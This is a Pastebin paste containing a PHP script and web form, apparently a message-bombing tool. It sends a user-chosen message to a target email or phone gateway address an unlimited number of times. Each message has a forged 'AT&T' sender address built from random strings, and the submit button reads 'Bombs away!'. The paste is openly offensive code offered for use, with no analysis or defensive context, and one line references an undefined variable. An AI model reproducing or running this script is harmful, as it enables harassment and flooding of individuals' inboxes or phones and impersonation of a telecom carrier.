Advertisement
Rhettallen10

Untitled

Feb 11th, 2017
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.47 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. if (isset($_POST['bomb']) && isset($_POST['phone']) && !empty($_POST['phone']) && isset($_POST['msg']) && !empty($_POST['msg']) && isset($_POST['subject']) && !empty($_POST['subject']) && isset($_POST['numbertimes']) && !empty($_POST['numbertimes'])) {
  4. $i = 0;
  5. $times_to_run = $_POST['numbertimes'];
  6. $msg = $_POST['msg'];
  7. $number = $_POST['phone'];
  8. $subject = $_POST['subject'];
  9. $mailarray = ['hotmail', 'gmail', 'outlook', 'ymail', 'ibombedu'];
  10. $k = array_rand($mailarray);
  11. $v = $array[$k];
  12. $from = "AT&T <".emailGenerator(rand(1, 50))."@$v.com>";
  13. //$from = "AT&T <bomber@ibombedu.com>";
  14. $headers = "From: $from";
  15. while ($i++ < $times_to_run)
  16. {
  17.     if(mail($number, $subject, $msg, $headers)) {
  18.     echo "Sent msg";
  19.     }
  20. }
  21. }
  22. function emailGenerator($length = 10) {
  23.     $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  24.     $charactersLength = strlen($characters);
  25.     $randomString = '';
  26.     for ($i = 0; $i < $length; $i++) {
  27.         $randomString .= $characters[rand(0, $charactersLength - 1)];
  28.     }
  29.     return $randomString;
  30. }
  31. ?>
  32. <form method="POST" action="">
  33. <input type="number" name="numbertimes" placeholder="number of times to run">
  34. <input type="text" name="phone" placeholder="email">
  35. <input type="text" name="subject" placeholder="subject">
  36. <textarea name="msg" placeholder="message"></textarea>
  37. <input type="submit" name="bomb" value="Bombs away!">
  38. </form>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement